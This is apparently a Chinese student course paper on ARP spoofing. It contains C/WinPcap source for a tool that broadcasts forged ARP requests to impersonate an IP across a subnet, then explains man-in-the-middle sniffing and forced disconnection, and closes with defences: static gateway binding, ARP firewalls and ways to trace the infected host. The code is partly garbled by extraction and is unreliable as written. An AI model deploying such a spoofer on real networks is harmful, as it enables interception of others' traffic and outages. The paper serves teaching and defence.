printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
12
/* 打开网卡 */
if ( (adhandle= pcap_open(d->name, // name of the device
65536, // portion of the packet to capture
1, //open flag
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",
d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
//得到用户选择的网卡的一个IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
if (!ip || !netmask){
continue;
}
//看看这个IP和要伪装的IP是否在同一个子网
if((ip&netmask)!=(fakeIp&netmask)){
continue; //如果不在一个子网,继续遍历地址列表
}
unsigned long netsize = ntohl(netmask); //网络中主机数
unsigned long net = ip & netmask; //子网地址
for(unsigned long n=1; n
//第i台主机的IP地址,网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac,fakeIp,destIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1){
fprintf(stderr,"pcap_sendpacket error.\n");
}
}
• 13 •
return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){
static u_char mac[6];
memset(mac,0,sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}
PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;
14 +
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP,unsigned long destIP)
{
static struct arp_packet packet;
//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac,0xFF,6);
//源MAC地址
memcpy(packet.eth.source_mac,source_mac,6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type = htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度:MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度:IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作:ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr,source_mac,6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr,0,6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据,18B
memset(packet.arp.padding,0,18);
return (unsigned char*)&packet;
}
//ArpCheat.h
• 15 •
//字节对齐必须是1
#pragma pack (1)
struct ethernet_head
{
unsigned char dest_mac[6]; //目标主机MAC地址
unsigned char source_mac[6]; //源端MAC地址
unsigned short eh_type; //以太网类型
};
struct arp_head
{
unsigned short hardware_type; //硬件类型:以太网接口类型为1
unsigned short protocol_type; //协议类型:IP协议类型为0X0800
unsigned char add_len; //硬件地址长度:MAC地址长度为6B
unsigned char pro_len; //协议地址长度:IP地址长度为4B
unsigned short option; //操作:ARP请求为1,ARP应答为2
unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址
unsigned long sour_ip; //源IP地址:发送方的IP地址
unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
unsigned char padding[18];
unsigned char PCAP_SRC_IF_STRING;
unsigned char pacp_findalldevs_ex;
unsigned char pcap_open;
};
struct arp_packet //最终arp包结构
{
ethernet_head eth; //以太网头部
arp_head arp; //arp数据包头部
};
#pragma pack ()
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName);
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
16
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP);
6.程序的运行
6.1程序运行过程
1. 打开WINDOWS 运行菜单(DOS)输入:
cmd
2.打开cmd界面。
• 17 •
3.输入代码编译后的EXE文件路径->输入IP地址
18
4.继续操作,运行结果如图
7.总结
7.1程序总结
1.总结对ARP欺骗原理的理解。
假设一个网络环境中,网内有三台主机,分别为主机A、B、C。主机详细信息如下描述: A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
正常情况下A和C之间进行通讯,但是此时B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是
BB-BB-BB-BB-BB-BB(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A被欺骗了),这时B就伪装成C了。同时,B同样向C发送一个ARP应答,应答包中发送方IP地址四192.168.10.1(A的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(A的MAC地址本来应该是AA-AA-AA-AA-AA-AA),当
• 19 •
C收到B伪造的ARP应答,也会更新本地ARP缓存(C也被欺骗了),这时B就伪装成了A。这样主机A和C都被主机B欺骗,A和C之间通讯的数据都经过了B。主机B完全可以知道他们之间说的什么:)。这就是典型的ARP欺骗过程。
ARP欺骗存在两种情况:一种是欺骗主机作为“中间人”,被欺骗主机的数据都经过它中转一次,这样欺骗主机可以窃取到被它欺骗的主机之间的通讯数据;另一种让被欺骗主机直接断网。
第一种:窃取数据(嗅探)
通讯模式:
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求 -> 应答 -> 应答 ->请求->应答... 描述:
这种情况就属于我们上面所说的典型的ARP欺骗,欺骗主机向被欺骗主机发送大量伪造的ARP应答包进行欺骗,当通讯双方被欺骗成功后,自己作为了一个“中间人“的身份。此时被欺骗的主机双方还能正常通讯,只不过在通讯过程中被欺骗者“窃听”了。
第二种:导致断网
通讯模式:
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求„
描述:
这类情况就是在ARP欺骗过程中,欺骗者只欺骗了其中一方,如B欺骗了A,但是同时B没有对C进行欺骗,这样A实质上是在和B通讯,所以A就不能和C通讯了,另外一种情况还可能就是欺骗者伪造一个不存在地址进行欺骗。
对于伪造地址进行的欺骗,在排查上比较有难度,这里最好是借用TAP设备(这个东东好像有点贵勒),分别捕获单向数据流进行分析!
2. 归纳ARP欺骗的防范措施。 基于PC到PC的IP-MAC双向绑定可以解决ARP欺骗,但是对于不支持IP-MAC双向绑定的设备,就需要用可以绑定端口-MAC的交换来预防ARP欺骗。
(1).故障现象及原因分析
情况一、当局域网内某台主机感染了ARP病毒时,会向本局域网内(指某一网段,比如:10.10.75.0这一段)所有主机发送ARP欺骗攻击谎称自己是这个网端的网关设备,让原本流向网关的流量改道流向病毒主机,造成受害者不能正常上网。
20
情况二、局域网内有某些用户使用了ARP欺骗程序(如:网络执法官,QQ盗号软件等)发送ARP欺骗数据包,致使被攻击的电脑出现突然不能上网,过一段时间又能上网,反复掉线的现象。
关于APR欺骗的具体原理请看我收集的资料ARP欺骗的原理
(2).故障诊断
如果用户发现以上疑似情况,可以通过如下操作进行诊断:
点击“开始”按钮->选择“运行”->输入“arp–d”->点击“确定”按钮,然后重新尝试上网,如果能恢复正常,则说明此次掉线可能是受ARP欺骗所致。
注:arp-d命令用于清除并重建本机arp表。arp–d命令并不能抵御ARP欺骗,执行后仍有可能再次遭受ARP攻击。
(3).故障处理
1、中毒者:建议使用趋势科技SysClean工具或其他杀毒软件清除病毒。
2、被害者:(1)绑定网关mac地址。具体方法如下:
1)首先,获得路由器的内网的MAC地址(例如网关地址10.10.75.254的MAC地址为0022aa0022aa)。2)编写一个批处理文件AntiArp.bat内容如下:
@echooffarp-darp-s10.10.75.25400-22-aa-00-22-aa
将文件中的网关IP地址和MAC地址更改为您自己的网关IP地址和MAC地址即可,计算机重新启动后需要重新进行绑定,因此我们可以将该批处理文件AntiArp.bat文件拖到“windows--开始--程序--启动”中。这样开机时这个批处理就被执行了。
(2)使用ARP防火墙(例如AntiArp)软件抵御ARP攻击。
AntiArp软件会在提示框内出现病毒主机的MAC地址
(4).找出ARP病毒源
第一招:使用Sniffer抓包
在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送
ARP Request请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
• 21 •
第二招:使用arp-a命令任意选两台不能上网的主机,在DOS命令窗口下运行arp-a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert61.135.179.148。假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。
本结课论文内容参考自以下网站和书籍:
百度百科:
http://baike.baidu.com/
51CTO安全频道:
http://netsecurity.51cto.com/
网络安全高级软件编程技术 吴功宜 清华大学出版社
22